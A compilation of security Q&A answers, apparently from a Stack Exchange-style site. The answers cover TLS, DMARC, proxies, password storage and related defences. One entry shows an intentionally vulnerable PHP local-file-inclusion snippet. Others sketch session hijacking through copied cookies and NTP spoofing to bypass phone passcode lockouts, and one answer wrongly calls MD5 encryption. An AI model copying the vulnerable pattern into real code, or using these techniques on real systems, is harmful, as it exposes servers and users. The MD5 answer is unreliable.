If I had to hedge a bet I would guess (without any further details to what you've listed above) that either a vulnerability with your website was exploited (ie Timthumb vulnerability) or you have a security hole on the server that hosts the machine.

If you do limit admin access to local connections only you still may not mitigate the attack. Ask your security consultant to find the cause of the breach, and then work towards patching.


How can a website find my real IP address while I'm behind a proxy?

There are several ways:

Proxy headers, such as X-Forwarded-For and X-Client-IP, can be added by non-transparent proxies.
Active proxy checking can be used - the target server attempts to connect to the client IP on common proxy ports (e.g. 8080) and flags it as a proxy if it finds such a service running.
Servers can check if the request is coming from an IP that is a known proxy. WhatsMyIP probably has a big list of these, including common ones like HideMyAss.
Web client software (e.g. Java applets or Flash apps) might be able to read browser settings, or directly connect to a web service on the target system (bypassing the proxy) to verify that the IPs match.
Mobile app software can identify the client IP. Example: PhoneGap plugin


Windows Server 2012R2 -> Trusted Root CA Store (Local Computer) not listed in SERVER HELLO / CERTIFICATE Request filed of TLS1.2 handshake

Expected behavior on Win2012. Leave as is, or force via registry.
I have never configured client cert auth on any IIS but I think I found out what's wrong here: "SendTrustedIssuerList" defaults to OFF in Win2012.
The server side of mutual TLS auth works differently in Win2012.
Namely: The behavior to send the Trusted Issuer List by default is off: Default value of the SendTrustedIssuerList registry key is now 0 (off by default) (Archived here.) It seems that you could do this manually in earlier Windows server versions, but now it is the default.
Additionally what Win2012 now seems to do is a lookup process across three certificate stores for acceptable client certificate CAs (Archived here.). (Namely you no longer need the cumbersome process of generating the list of acceptable CAs via a "CTL"/"Certificate Trust List" and instead just move/copy acceptable CAs into new certificate stores.)
HOWEVER: Even though such a "Trusted Issuer List" must be generated INTERNALLY, it is NOT sent out EXTERNALLY to the client. And that is because SendTrustedIssuerList now defaults 0.
So the solution seems to be to:

Check that the three-store-process is correctly set up server side.

And for interactive applications:

If you insist on sending the acceptable CAs to the client then force SendTrustedIssuerList to 1. But then expect client Apple Safari to fail.. (I expect this to be a non-issue, as this would already have happend in your Win2008r2 setup and you didn't mention this.)

If you do not insist on sending the acceptable CAs to the client, then leave as is. But expect a larger "choose your client cert here" dialog box on your clients, as you no longer offer them any hints about acceptable client certs. (But then again client browsers usually don't really have that many client certs to choose from. So the list will likely be short.)

And for non-interative applications, as in your case:

Either to force the client side to supply the right client cert without getting the hint.

Or to force the server to send the hint and the client side to take the hint.


How does the Michael shutdown exploitation (TKIP) work?

According to MDK3's GitHub page, it uses a "TKIP QoS Exploit".

This is the note from the code:

  can shut down APs using TKIP encryption and QoS Extension with 1
  sniffed and 2 injected QoS Data Packets.

Looking up the specific exploit, you will run across this paper (one of many) that explains it:

  TKIP was introduced in 2003, and amongst other enhancements, included
  a new per packet hashing algorithm, the Message Integrity Check (MIC).
  MIC is based on a weak algorithm, designed to be accommodated on
  legacy WEP hardware. TKIP uses MIC for guaranteeing the integrity of
  an encrypted frame. If more than two MIC failures are observed in a 60
  second window, both the Access Point (AP) and client station shut down
  for 60 seconds.

When you have a question about how an open source tool does something, take a look at the code. Even if you are not a programmer, you will often find the details you need in the documentation, comments, or in this case, the CHANGELOG.


<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
     $file=$_POST['filename'];
include($file);
}?>

    <title>test</title>

    <form method="post" action="index.php">

filename<input type="text" name="filename">

    </form>

This is usually the vulnerable back end code for Local file inclusion.If you intercept the request and change the filename parameter you can read data from the victim server.This code can also result in remote file inclusion if allow_url_include is turned on.


Confused about using a password that "would take centuries to break"

The online calculators are basing their results on a particular set of assumptions, ones that might not apply in any one case. There is no basis for trusting the calculators to provide any insight into how an attacker might choose to break the password.

For instance, if I know that you use a pattern, and what that pattern is, then I would adjust my bruteforcing to align with the pattern. There is no way for an online calculator to account for that. There are other similar factors to take into account. "Entropy" is all about ensuring as much randomness as possible. A set pattern has much-reduced randomness, regardless of the characters used.

So, yes, do ban such obvious patterns, if that meets your goal.

I do have concerns about your method of banning these passwords, though. You might be fighting the wrong battle.


How to figure out encryption given input and output text?

Most software states what type of encryption they use, so it should be pretty easy to find out.
If that's not possible, you could try to encrypt the same string with the most common tools existing and see what matches the result.

Start with MD5 generator (http://www.md5calc.com) and go from there with the most common ones. All of them have only versions. Theres an extremely high chance that it is one of the most widely used ones.


Force specific encryption cipher for S/MIME mails

I tried to find out a little more about how and where Thunderbird stores the ciphers of the communication partner, but it looks like it's not actually stored with the user or his/her certificate. Therefore, Thunderbird uses a default cipher, probably as defined in the S/MIME RFC it implements. There seems to be no way for the user to set the default cipher.

The only way I can think of to make Thunderbird respect the other side's ciphers properly, is not to create new emails, but to always reply to an existing one.


Checksum vs. Hash: Differences and Similarities?

A checksum (such as CRC32) is to prevent accidental changes. If one byte changes, the checksum changes. The checksum is not safe to protect against malicious changes: it is pretty easy to create a file with a particular checksum.

A hash function maps some data to other data. It is often used to speed up comparisons or create a hash table. Not all hash functions are secure and the hash does not necessarily changes when the data changes.

A cryptographic hash function (such as SHA1) is a checksum that is secure against malicious changes. It is pretty hard to create a file with a specific cryptographic hash.

To make things more complicated, cryptographic hash functions are sometimes simply referred to as hash functions.


Imagine I found a fast algorithm for prime factorization. What to do? Who to contact?

First Steps

If you're worried about your work being stolen, I'd recommend publishing the hash of your findings in a few public places to ensure that you can prove that you were the original finder of the issue.  If you're just worried about the impact of your findings, you should be able to proceed with the advice below.

Then what?

I would start by contacting a mathematician to verify my findings.  Obviously you'd want one you trust, such as one that teaches at a university near you.  Alternatively, reach out to a well-known mathematics institute such as The Clay Mathematics Institute [1], or a well known cryptographer who may be able to ensure that your findings are legitimate.

I would then work with whoever you pick, possibly in conjunction with the IETF to figure out a repair and disclosure timeline.

[1] - no affiliation, I just know them from the Millennium Problems


What does Gazzang zNcrypt actually protect against?

I work for Gazzang. Glad to see your question on this forum. Your assumptions are correct in that zNcrypt provides filesystem encryption that protects data on the hard disk from a breach. Depending on your use case, zNcrypt can also help you meet certain compliance regulations.

The TDE can also protect data blocks as well as files, which works particularly well if you're running Hadoop. For added protection, zNcrypt leverages process-based ACLs and software-based key management via zTrustee.


Is it easy to hijack browser session if you have access to someone else computer

I am going to answer this to my best of abilities.But feel free to tell me if i miss something or to add anything

  If someone has access to my computer , can they easily get my session
  id by going to the browsers developer tools and taking a photo of the
  session id with a phone, if the session id is passed in a cookie. eg.
  in a java web app , the jsessionid is usually passed as a cookie (
  sometimes even in the url ) They can then add that key-value pair to
  the websites document cookie when they want it. ( assuming the session
  is not expired yet) Am I missing something, is it so easy.

Absolutely they can simply go to console and write document.cookie to get saved cookie from any website and as long as those cookies correspond to a valid session.They can simply send those session identifiers in their browser request and hijack your session.

NOT JUST THAT

If an attacker has physical access they can also run a simple script to decrypt all the saved password on your google chrome browser.

  If yes , why do browsers not employ not kind of security mechanisms so
  that an attacker with physical access to the computer, is not able to
  grab session id, or other important cookies through their developer
  tools. You can't just get someone's password,even with access to the
  computer. Chrome for example requires you to provide computer's
  authentication credentials before you can view saved passwords. Why is
  is similar authentication not required for cookies given that cookies
  can many times contain temporary password (e.g. a session id )

Well for one its not possible.There are more ways to grab the cookies anyway.If you lockup developer tool you can simply intercept the request with a proxy and then grab the cookies from there.It is just not possible to hide it in a way that it even becomes hard for an attacker.

At last the thumb rule is

IF AN ATTACKER HAS PHYSICAL ACCESS TO YOUR SYSTEM,IT IS NOT YOUR SYSTEM ANYMORE.

also here is what google had to say about this

  Chrome security tech lead, has responded to internet chatter on the
  topic, saying that once past the OS login stage, someone can
  theoretically find your passwords and all manner of other browser info
  out anyway, using various underhand means


Possible to use *only* U2F authentication?

If the service you are using support multiple different U2F devices you may add more than one to the service. In the Google case I belive they support more than one device linked. To dissable the backup security codes you may simply use them all.

You can not duplicate your U2F device, but there may be manufacturers selling pairs. By design the U2F device should be write-only i.e. only returning replies to challanges, not the secret stored. Allowing the secret to be read (in order to create a duplicate after creation) may pose a security risk since someone obtaining your U2F device may create a duplicate without your knowledge.


Are there Yubikey-like TOTP hardware tokens without additional software?

The hardware token detects the website you're on, generates an appropriate code, and submits it directly without the user typing anything? That sounds a lot like u2f.

The reason why you don't see this offered is the same reason why only a few sites support u2f: it would require the browser to interact directly with the hardware token, and at the moment only Google Chrome is able to connect to USB devices. Other vendors don't see it as an important feature to include. Sad, because it solves phishing more or less entirely.

So no, this doesn't exist as you describe if you're not willing to use u2f. There's stuff like LastPass which can do something of what you ask, but that's a browser extension not a hardware token.


RSA encryption with plaintext+random data

The seminal work of Shafi Goldwasser and Silvio Micali, Probabilistic Encryption, 1984, change the way we consider security. We no longer use/prefer/recommend non-probabilistic encryptions.

For the security of the RSA encryption padding is required and there are two different paddings is definded PKCS#1v1.5 and OAEP padding, both can be found in rfc8017
Since you have PKCS#1v1.5, let's talk about here a little;
PKCS#1v1.5 uses the following format
00 || BT || PS || 00 || D
BT is the block type
PS is the padding string
D is the data

|0x00|0x02|Random non-zero bytes|0x00|data|

The first byte (also called octet) zero 0x00 guarantees that the message size < modulus size in an integer value.

The next byte (block type) 0x02 indicates the PKCS#1v.5 padding.

The non-zero random bytes (padding string) guarantees that when the same message is encrypted again under the same public-key ( actually public key is a pair (n,e) ) will be different, if each encryption, a new random value must be used. And this is in the standard.
Of course, we have the birthday bound here. Let assume that one uses the 2048 RSA modulus then it has 256 bytes. If the data has 8 bytes then we have 256-8-3 = 245 bytes for the non-zero random bytes. Then you need to encrypt the same message around sqrt(255^255) to have the same encrypted result with 50% probability. The collision is negligible.
The size of this non-zero random byte cannot be less than 8 bytes. So we say, PKCS#5v.14 has at least 11 bytes of overhead.

The next 0x00 is the delimiter.

The last part data is your data

Note 1: I would like to note that the incorrect implementation of PKCS#1v1.5 resulted in many attacks. OAEP is easier to implement and both have the security proof ( we have waited very long for PKCS#1v1.5)
Note 2: When RSA is used without padding we call it Text-Book RSA.


Can you detect that new files were added to a hard drive that was removed and replaced?

As the attacker, it would be possible to modify the disk without leaving a trace. The attack does not need to use windows to mount NTFS, and could have specialised tools to not alter the metadata or provide fake metadata.
The easiest way for an attacker to fake the meta-data would be to change the date-stamp on their machine.

That being said an attacker could be less sophisticated, or make a mistake that leaves traces on the drive. The simplest check for this is to look for files created/modified at a time you know you were away from your computer. This check is easily defeated.

To prevent this in the future use whole disk encryption, e.g. bitlocker.


Does HTTPS protect against active attackers?

TLS (the secure network protocol underlying HTTPS) specifies a large number of "cipher suites" (combinations of cryptographic primitives, like asymmetric and symmetric ciphers, hash functions, etc.). All widely-used cipher suites - the only ones that should be permitted either by clients such as web browsers, or by servers - provide the following:

Authentication of the server (so an attacker cannot present their own public key and get the client to accept it as the valid one).
Encryption of the data transferred in both directions (thus providing confidentiality, as you noted).
Integrity of the message text (to prevent bit-flipping attacks on the ciphertext, for example).
Replay protection (capturing encrypted traffic from one part of the conversation and injecting it into a later part will not work).
Sequence protection (an attacker cannot successfully take multiple message packets, rearrange them, and transmit the reassembled message; it will be rejected)

Some cipher suites provide additional protection:

Perfect Forward Secrecy (PFS), such that even if an attacker records a conversation and later gains access to the server's private key, the conversation can never be decrypted (save by brute force or breaking the cryptographic primitives).

TLS (including HTTPS) can be optionally configured to provide the following protection:

Authentication of the client (normally, the server supplies the client with a certificate showing the server's authenticity; it is possible for the client to also supply the server with such a certificate, which can replace the need for other forms of authentication such as transmitting a password).
Downgrade protection, preventing fallback to older protocol versions with known or suspected vulnerabilities.

TLS does not provide the following protections:

Length masking, beyond the limited degree provided by some primitives (if the attacker knows the lengths of the possible messages in either direction, and each possible message has a different length, the attacker can probably reconstruct the message traffic by watching message lengths).
Timing masking, beyond adding some overhead (if the attacker knows how long certain operations take, the attacker can guess when those operations have been requested / performed by monitoring the times between messages in each direction).
Availability (a man-in-the-middle can always just decide not to pass on the network traffic, resulting in denial of service).
Client or server anonymity (the client IP address, and the server's IP address and host name, are exposed in plain text to anybody monitoring the traffic).

In general, yes, HTTPS is secure against most active attacks aside from denial-of-service. However, there are limitations. TLS does not protect against exploitation of weaknesses in the cryptographic primitives it uses (for example, this is why cipher suites using the RC4 symmetric cipher are now deprecated). Its encryption leaks side-channels such as length and timing, which in some applications may enable an attacker to break the confidentiality (although a security-conscious application could normalize the lengths / timings of network traffic to close this side-channel).

Additionally, it possible to use TLS insecurely if you configure it wrongly. For example, certificate authenticity validation checks can be disabled or replaced with incorrect custom checks, invalidating the authentication check and allowing an active attacker to use a fraudulent certificate. If both client and server permit insecure ("NULL") cipher suites, it is possible to configure TLS to use no authentication, encryption, or integrity checks. Finally, TLS implementations themselves may have security vulnerabilities. The "Heartbleed" vulnerability of 2014 was due to a extremely severe security bug in a very common TLS library (OpenSSL); if insecure / unpatched implementations are used, the protections of TLS may be bypassed and/or other weaknesses may be introduced.


From MDN web docs:

  Subresource Integrity (SRI) is a security feature that enables
  browsers to verify that resources they fetch (for example, from a CDN)
  are delivered without unexpected manipulation. It works by allowing
  you to provide a cryptographic hash that a fetched resource must
  match.

The idea is to generate a hash from your web app files (ex. javascript files) by using commands such as openssl or shasum, and specify the hash function such as (sha256, sha384, and sha512) which are the current allowed prefixes, and then embed the generated hash digest into the user running script through the integrity value attribute. The browser must first compare the script to the expected hash, and verify that there's a match.

If the script doesn’t match its associated integrity value, the browser will refuse to execute the script indicating it is not the same source code, probably because of network error or unexpected file manipulation.

Generating hash digest to "FILENAME.JS" example using openssl command:

cat FILENAME.js | openssl dgst -sha384 -binary | openssl base64 -A

And before executing the FILENAME.js script to the user side, you need to embed the generated hash through the integrity value in your script tag, for the browser to validate the script hash to the expected hash.

For more info:

https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity


Permissions for configuration file for program run as root that must be modifiable by SFTP

Assuming the only member of the sftp-user group is sftp-user, all of the permissions you have listed would be equivalent.  The only users that would be able to read or write the file would be sftp-user and root.

I would personally choose to create a "role group" for this (perhaps fwadmins for firewall admins) in case you ever need to have more than one person with access to this.  Then I would set the permissions as 0660 with owner root and group fwadmins:

-rw-rw----   root     fwadmins

I suggest explicitly setting the permission bits for root as well.  Yes, root can still edit it either way, but it's just a little cleaner to be explicit about it.


How will users know if their session is DNSSec protected or not?

I strongly believe that the pure usage of DNSSEC should not be indicated to the user at all. DNSSEC just ensures that the DNS lookups are not tampered with by third (fourth?) parties.

DNSSEC does not ensure that the connection is really established with the returned IP-address nor that no attacker is listening in on the data. So pure DNSSEC is way too complicated to understand for an average user compared to the small gain in security.

An interesting approach is to publish the public SSL key via DNSEC instead of or in addition to using the traditional SSL certificate authorities. This solves one of the main issues of the traditional approach: At the moment any (transitive) trusted SSL certification authority can sign certificates for any domain. With a DNSSEC based approach only the authority responsible for the top level domain can sign. This greatly decreases the attack surface. (And places a lot of power at the domain authorities)

The visual indication of "SSL with public key published via DNSSEC" should be  similar to SSL using EV certificates. I doubt that we see the traditional approach to go away any time soon because there is a lot of money involved.


Very fast and efficient way to check that contents of the directory weren't modified

You could simply use md5sum.

First keep a copy of the current checksum:

md5sum /path/to/files/* > /path/to/safedirectory/checksum

Then you can run the following to check for differences:

md5sum /path/to/files/*|diff /path/to/safedirectory/checksum -

An alternative proposed by @Jedi is to use the -c option:

md5sum -c /path/to/safedirectory/checksum


Does allowing SSLv3 or TLSv1.0 weaken other protocols? (TLSv1.2+)

There are no currently known attacks like that. If your server does SCSV then modern TLS 1.2 or TLS 1.3 clients should be safe. But a future attack might be discovered that uses old protocols to attack connections using new protocol. A famous example is DROWN, in which if your server also supports SSLv2 or the private key for your certificate was used in a certificate that is used by an SSLv2 server (possibly different certificate, possibly different server), your TLS connections are vulnerable.

Note that some regulatory bodies prohibit leaving TLS 1.0 enabled.

Ask your users when they plan to upgrade from TLS 1.0. Their TLS 1.0-only client will become not very useful very fast. It is already not able to use credit card payments.

Set a deadline for your own support of TLS 1.0. A reasonable deadline is June 2018. We're a bit past that, so don't set your own deadline too far in the future.

Remind them that TLS 1.2 was released in 2008. Chrome has supported TLS 1.2 since version 29 in 2013.

I should add that there is a subtlety that is not apparent from just looking at the version number. The protocol TLS 1.0 is not completely busted, if it is implemented and configured correctly. I think a modern openssl 1.1.1 based server would be fine, communicating to a modern openssl 1.1.1 client (like a recentish version of python/ruby/php), even when limited to TLS 1.0. The problem is that a modern TLS client would support TLS 1.2 and AEAD cipher suites, and there is no reason to limit it to TLS 1.0. A TLS client that was implemented before TLS 1.2 was specified and has not been updated since is highly likely to be insecure. I would bet money on it being insecure. It is possible that the client has been patched since then and is secure, but if it could be patched, why couldn't it be updated to a version that supports TLS 1.2?

It turned out that implementing the TLS CBC cipher suites securely is too damn hard. All the major players had vulnerabilities, some of them needed multiple attempts to fix it (e.g. s2n), some made worse vulnerabilities while trying to fix it (e.g. openssl), some just gave up and recommended a switch to AEAD only configuration for those who are worried (e.g. golang). Some are still not fixed. An internet wide scan showed that vulnerable servers are still deployed, so a client connecting to a random internet site that supports only TLS CBC cipher suites is not guaranteed that the connection is secure. The browser vendors are going to ratchet the whole ecosystem, kicking and screaming, into PFS+AEAD. But it will take years, because some people expect to use a Red Hat server for a decade without upgrading. Note that HTTP2 standard has already said that only PFS+AEAD is secure, and lower security cipher suites are not allowed for HTTP2. In 2015. TLS 1.3 only supports PFS+AEAD. That was out in 2018.


How secure is Chrome storing a password?

Chrome not only stores your password text, it will show it to you. Under settings -> advanced -> manage passwords  you can find all your passwords for all your sites. Click show on any of them and it will appear in the clear.

Hashed passwords work for the site authenticating you. They are not an option for password managers. Many will encrypt the data locally, but the key will also be stored locally unless you have a master password setup.

Personally, I use the chrome password manager and I find it convenient. I also, however, have full disk encryption and lock my screen diligently. Which makes the risk reasonable imho.

You seem to be inconsistent (many are) by both selecting memorable passwords and using a password manager. And I may venture to guess you may even repeat the password or at least the theme across many sites. This gives you the worst of both worlds. You get the risks of password manager without the benefits.

With a password manager you trust, you can give each site a unique random password not memorable at all and gain a lot of protection from many very real attack vectors. In exchange for a single point of failure of your password manager. Even with a less than perfect password manager this isn't an unreasonable trade off. With a good password manager this is becoming the consensus best practice.

Edit to add: please read Henno Brandsma  answer explaining how login password and OS support can be used to encrypt passwords, this gives a reasonable level of protection to your passwords when the computer is off/locked (full disk encryption is better) and won't help much if you leave your computer unlocked. Even if the browser requires password to show plain text debug tools will still let you see already filled passwords as @Darren_H comments. The previous recommendation still stands use random unique passwords and a password manager.


Whats should be TRACE response of an API (if it is not allowed on server)?

The information that you've listed as coming back with the 405 response code appears to be a standard set of Web server headers.

The server giving that information back isn't generally, in and of itself, a security vulnerability as this is all information that servers need to provide to clients to allow their operation.

There's a couple of odd responses in there however, which don't seem ideal and could be worth querying with the application owner

Several of the headers are repeated.  This could cause issues if changes are made to the system which generates one of those two sets of headers, as the browser (or other user agent) might get confused by differening headers
The content security policy in use isn't ideal, as it includes items like unsafe-eval and unsafe-inline which aren't great for security.


Why set up DMARC for SPF if it's already set up for DKIM?

I don't think there is a simple answer for your question. Both SPF and DKIM are by their own useful in fighting spam but they miss the alignment between the claimed sender in the mail header compared to the SMTP envelope (SPF) or the signature (DKIM). Only DMARC provided this important alignment and adds a policy how do deal with failures on top.

But, by allowing either DKIM or SPF to provide the necessary alignment DMARC it is sufficient to successfully spoof one of these. This means either to successfully misuse an overly broad SPF policy or to make use of the usually shoddy implemented  DKIM signatures to change the content of the mail while keeping the signature intact. Thus, by requiring only one of SPF or DKIM to succeed DMARC lets the attacker focus on the weaker problem.

Therefore, one recommendation could be to implement one mechanism properly and strict and don't implement the other one at all and this way taking the choice of the weaker target from the attacker. In this case I would favor to implement DKIM, but implement it properly: sign all relevant mail headers (there are many), oversign all of these to protect against header duplication and also make sure that the signed mail is 7 bit clean. For more on this see Breaking DKIM - on Purpose and by Chance (disclaimer: this is my own research).

The advantage of implementing only DKIM is that one can focus the resources of doing this thing right. Apart from that it provides the stronger protection if properly implemented. But, their is also a big disadvantage of not doing SPF: SPF is far more widely implemented than DKIM or DMARC and thus the chance is only higher that an anti-spam solutions implements only SPF but not DMARC and/or DKIM. While the numbers vary a lot from different sources, in the mails I had access to about  40% were covered by SPF but only about 9% had a DKIM signature and about 6% a DMARC policy.

In summary: the best thing is probably to have both strong DKIM signatures and  small and strict SPF policies. Doing this properly is not as simple as it might look like. With a more limited set of resources it might be thus preferred to get one of these right (recommended: DKIM) and skip the other one completely so that an attacker does not have the choice to pick the weaker problem.


How does openid implement Single sign on?

The question is very broad and it is hard to guess what you are actually asking. You can find the specification at http://openid.net/developers/specs/

Kerberos is typically used in a controlled environment. In that environment there are known and trusted Kerberos servers ("key distribution center"). The Kerberos server authenticates the service provider to the client and the client to the service provider. Therefore the Kerberos server must know of all clients and all service providers.

OpenID, however, is designed for an open environment such as the Internet at large. That is any service provider (website) can work together with any openid-server ("identity provider") to authenticate clients.

Differences between Kerberos and OpenID

As Kerberos is used in controlled environments, logging in to services is totally transparent after you logged into your computer. On the Internet, however, you have to pick your openid-provider, and then login to it. These are two additional steps. Furthermore the redirect to your openid-provider may end up at a phishing site instead, if the service provider is malicious.

The openid-server only knows about its users. Unlike Kerberos, OpenID providers cannot authenticate service-providers. Many openid-provider therefore ask the user to confirm that they want to login to a specific website before passing identity information. In a controlled environment such decisions are done by the administrators instead (assuming that they have a better understanding about security than users). This confirmation can be saved for each domain. Unlike Kerberos, however, there is no authentication involved. If the ownership of a domain changes for legit or illegit reasons, this is not noticed.

Conclusion

OpenID has a number of issues that Kerberos does not have. Kerberos, however, does not work at all in an open environment, so it is no alternative for the common use cases of OpenID.


Is Docker a PCI DSS compliant form of virtualization?

A self-answer after a convo on the #docker IRC,

PCI DSS v3.2 doesn't state anything about the kind of virtualization that is required, nothing states you should use hardware instead of OS-level virtualization (somebody correct me if I'm wrong).

However, traditional (HW) virtualization is a relatively simple piece of code ~100k LOC (allegedly) which is hardware assisted and depends heavily on the guest OS to do most of the heavy lifting.

OS-level virtualization reuses the kernel-space between virtual machines, and kernel is a much more complicated piece of code, leaving a MUCH larger attack surface - basically the same thing that makes docker super-nice to stack a bunch of VMs with limited resources in a tiny bit of memory is what makes it less useful for the PCI DSS use case - kernel reuse.

So, even though there's nothing about PCI DSS at the moment preventing you from using OS-level virtualization such as what Docker provides and it would probably pass scrutiny by most QSAs, it feels like it should be prohibited as it leaves you with a more vulnerable architecture.

Then again, many people use and successfully certify software-based HSMs to store their keys (JCEKS and whatnot) even though it feels that it should be prohibited.

I guess the answer to my question would be "yes, you could do it, it would probably pass certification, but you probably shouldn't do it".

Full convo from the #docker irc channel


Protect against POST //cgi-bin/php attacks?

A system upgrade is required but here a quick fix.

In /etc/apache2/sites-enabled/000-default I comment out:

   ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
   <Directory "/usr/lib/cgi-bin">
           AllowOverride None
           Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
           Order allow,deny
           Allow from all
   </Directory>

And did a apache2ctl restart. Now /cgi-bin/php is not accessible anymore. That should fix it.

Wonder why this is in default anyway. You should also check other pages in sites-enabled. Do a grep "ExecCGI" /etc/apache2/sites-enabled.


How to capture all network using eth0 device

Because that is not how Ethernet works!

Your router's integrated ethernet switch only routes broadcast packets and packets that were meant for your PC's MAC address to you. The others, by design, never reach you.

You'd need to do the packet sniffing on your router, or get a managed switch with a monitoring port; downside of that might be the additional cost of a switch with mirroring port, and the fact that this single mirroring port might limit the bandwidth of your network (which, in a home network sense, wouldn't be an issue, normally).


Encrypting a salted password hash with RSA before storing in a database

As you mentioned in a previous question, the goal of encrypting a hashed password is to add pepper to it, to make it harder (even impossible when a good pepper is used) to brute-force passwords, in the event that the database is breached.
Adding a pepper in a password-hashing function and symmetrically encrypting the hash are functionally equivalent. To obtain the recommended level of cryptographic security, the pepper or the key should be at least 128 bit long and chosen from a cryptographic strong uniformly random source.
Adding the random key as a pepper in the hashing function provides benefits over using the symmetric encryption of the hash:

The key does not need to be derived to ensure it conforms to its requirements by the encryption algorithm. The hashing function will take care of that.
It is less computationally expensive, while providing exactly the same amount of security. Moreover, most encryption libraries are made to encrypt messages of varying length, while using the fixed length of the hash equal to the block size of the encryption algorithm could allow optimizations (no padding for example). So, using a encryption library could introduce an useless overhead, even though it's better to use a library rather than rolling your own cryptography.
It avoids to make mistakes in the use of encryption: no padding and no random nonce to handle. No weak choice of encryption algorithm possible.
It reduces the surface of attack and the maintenance cost: by not using yet another library, one avoids the potential bugs in it and the cost to keep it up-to-date.

Using asymmetric encryption, such as RSA, adds the following drawbacks over just hashing with a pepper:

It still needs a symmetric cipher, so all the previous points about symmetric encryption applies here.
The recipient and sender are the same: it's the server. Both the public and private keys are in the same hands. Asymmetric encryption is a functionally useless layer over symmetric encryption here. See nobody's answer for more details on this point.
It adds yet another algorithm, one that is far more error prone than symmetric encryption, as history has proven. Even cryptographers often make mistakes when using asymmetric encryption.
Asymmetric encryption is rather inefficient (read "slow"). Especially RSA, which is very slow and needs a very long key.
No optimization possible: the use of random nonce and correct padding handling is unavoidable. This is hard and a lot of cryptographic library fail here. Do not assume your code is safe even when correctly using a library: most continue to use PKCS#1 v1.5 padding, even though it has been broken for more than 20 years. That's only the most common vulnerability, but others are often found.

On the other hand, in my knowledge, encrypting hashed passwords offers no real benefit over adding pepper; assuming the pepper is handled as a symmetric cryptographic key.
Claimed benefits cited by the OP in his other question are:

From stackoverflow and from security.SE: One can rotate the encryption keys. However, once the database is breached, that is useless: either the encryption is good, and changing the passwords or rotating the key is useless; or the encryption is weak and the passwords need to be changed.
From stackoverflow: Encryption is more secure than hashing. That's wrong.
From stackoverflow "since he knows the salt and the output, he can brute force the pepper" The same applies with encryption. This is not an issue with a pepper handled as a key.


How can a "server" know that what browser i'm using besides the user-agent?

What exactly do you mean by 'what browser I'm using' - like being able to find if you are using firefox or opera, or do you mean something else?

In any case three projects come to mind

EFF's Panopticlick (paper here): This method is not about finding out what browser are you using but more about identifying who you are among others, by correlating information about you leaking from your browser when visiting a site.
Information collected by Panopticlick includes:

The user-agent http header
the http accept header
if you have cookies enabled or not
your screen resolution (determined using javascript)
your timezone  (determined using javascript)
Browser plugins, plugin versions and MIME types (determined using javascript)
System fonts (determined using flash or java applets and javascript)
supercookies (javascript - but there are more here)

Evercookie project There are many different kinds of cookies, like flash cookies, silverlight cookies, html5 databases and DOM globalstorage. More information on the provided link.
BrowserRecon project: This is an older project, similar to panopticlick but older (and not very well known). This is aimed towards finding which browser a user is used, not identifying him among others. It uses large databases that contain observed values (fingerprints) of several http fields (like the user-agent field, the header-order field, the accept field, the keep-alive field and many more). By matching the values of all these different fields when a request comes to a server, the specific browser and it's version can be determined with a high degree of certainty.

On mitigation measures: The last technique can be defeated by using a proxy, which can potentially alter the values of many http fields and so alter the fingerprinting results.

NoScript is of great help for the other techniques, and disabling all unnecessary functionality or only enabling it on whitelisted sites.


Why don't we need a WPA handshake on a ARP spoofing MiTM attack?

Firstly, in order to do ARP poisoning you have to be connected to the wireless network you're going to poison responses on. You may already know that, but your question doesn't indicate that you know that's a requirement, so I wanted to make sure that it was clear. As for your answer:

Simply put, ARP poisoning works because ARP works. The only thing that changes is that the value of the responses sent by the attacking machine are faked. ARP replies are implicitly trusted, and because they expire, they need to be refreshed periodically. Attackers leverage this implicit trust to send fake responses. If the details of the 4WHS were needed for ARP, no one (real or attacker) would be able to communicate ARP replies.


Why IOS on IPhone cannot be brute-forced programatically?

It can or some theorize it can.
Let me explain you first what ntp is
ntp is a protocol which deals with time and in fact this is how phones/computers know what time it is.
Theoretically you can spoof the ntp packets changing the time of the phone.
And possibly the phone every time it authenticates to an access point (wifi)
It updates the time

So by spoofing ntp responses and deauting the phone from the AP,
in theory you can move time allowing you to have infinte attempts. since you can do two attempts move the time a bit and then try again since the phone resets the recorded tries after a certain amount of time has passed

And it works I have done this on an windows phone but I can't tell for the iPhone
Stay safe


This is another variant on the classic trusting-the-client problem. You have to give the client machine enough information to generate the signature, at which point if the attacker has access to that machine you lose. RSA won't help you there.

To make it work you would need to ensure that the operators of the target machines don't have access to the application. ie: they aren't administrators, the application gets installed by another user such Local System, and the shared key (or public key for RSA) is not left lying around somewhere they can see it when the application is ready for use.


Why is it a security issue to load Notepad++ plugins from %APPDATA% folder?

The issue is that %APPDATA% can be written to by any application being run by that user (%APPDATA% is different for each user) - any app that is run can add a plugin there, which may do something evil if enabled.

In modern versions of Windows, the installation directories (i.e. Program Files) are protected, only elevated processes/users can write there. That means that if the plugins are coming from there, you can be assured that the user deliberately installed them.  (Unless, of course, they are in the habit of clicking yes to every question they are asked, in which case, they are beyond help)


What sort of delay will deter a robot from crawling my site?

I don't think that this kind of approach is a good idea. By using the sleep() function on certain requests you are making it easier for an attacker to create Denial of Service. He would just create a lot of request to the resource you are serving with a delay. This way, the number of requests the server can process at a time would be reached and legitimate users would not be able to access the site.

Moreover, you do not have to "punish" the user by offering him a long waiting time. I would look for alternatives if a webpage is slow all the time.

The best protection is not have sensitive information that is publicly accessible. Use an authentication mechanism to protect those resources and allow access only to the users you want.

If you are trying to prevent bots from copying information from your site, maybe CAPTCHA could help. Use a CAPTCHA before displaying certain information.


Planning Incident Response / Business Continuity

This is a difficult question.  To write proper incident response procedures you will probably want to consult with someone who does this as their full time job.  They will be able to guide you through the creation of procedures for your business, by taking into account your level of tolerable risk, assets (company name, etc.), legal/regulatory exposure, and many other factors.

At the moment I wouldn't say that you should hire someone in case of a breach, rather hire someone before it happens to put together your plan.  And yes, while it may be expensive, think of it like an insurance plan.  This is what you're going to do when the company is in deep crisis.


Why do DESFire and Mifare Plus cards offer a random UID feature?

The random UID feature means that the UID is new every time it is powered on, which means every time it is used. To randomise the UID means that everytime the card is used, a new UID is recorded. This each activity of the card cannot be linked to the user. The chain of activity cannot be traced to the card.

  RID is optional and should be used to protect privacy. In case RID is
  enabled, there is a defined and confidential way to retrieve the UID
  for each product.

Source: https://www.nxp.com/docs/en/application-note/AN10927.pdf

  The TSF shall ensure that non authorized subjects are unable to
  determine whether any operation of the TOE were caused by the same
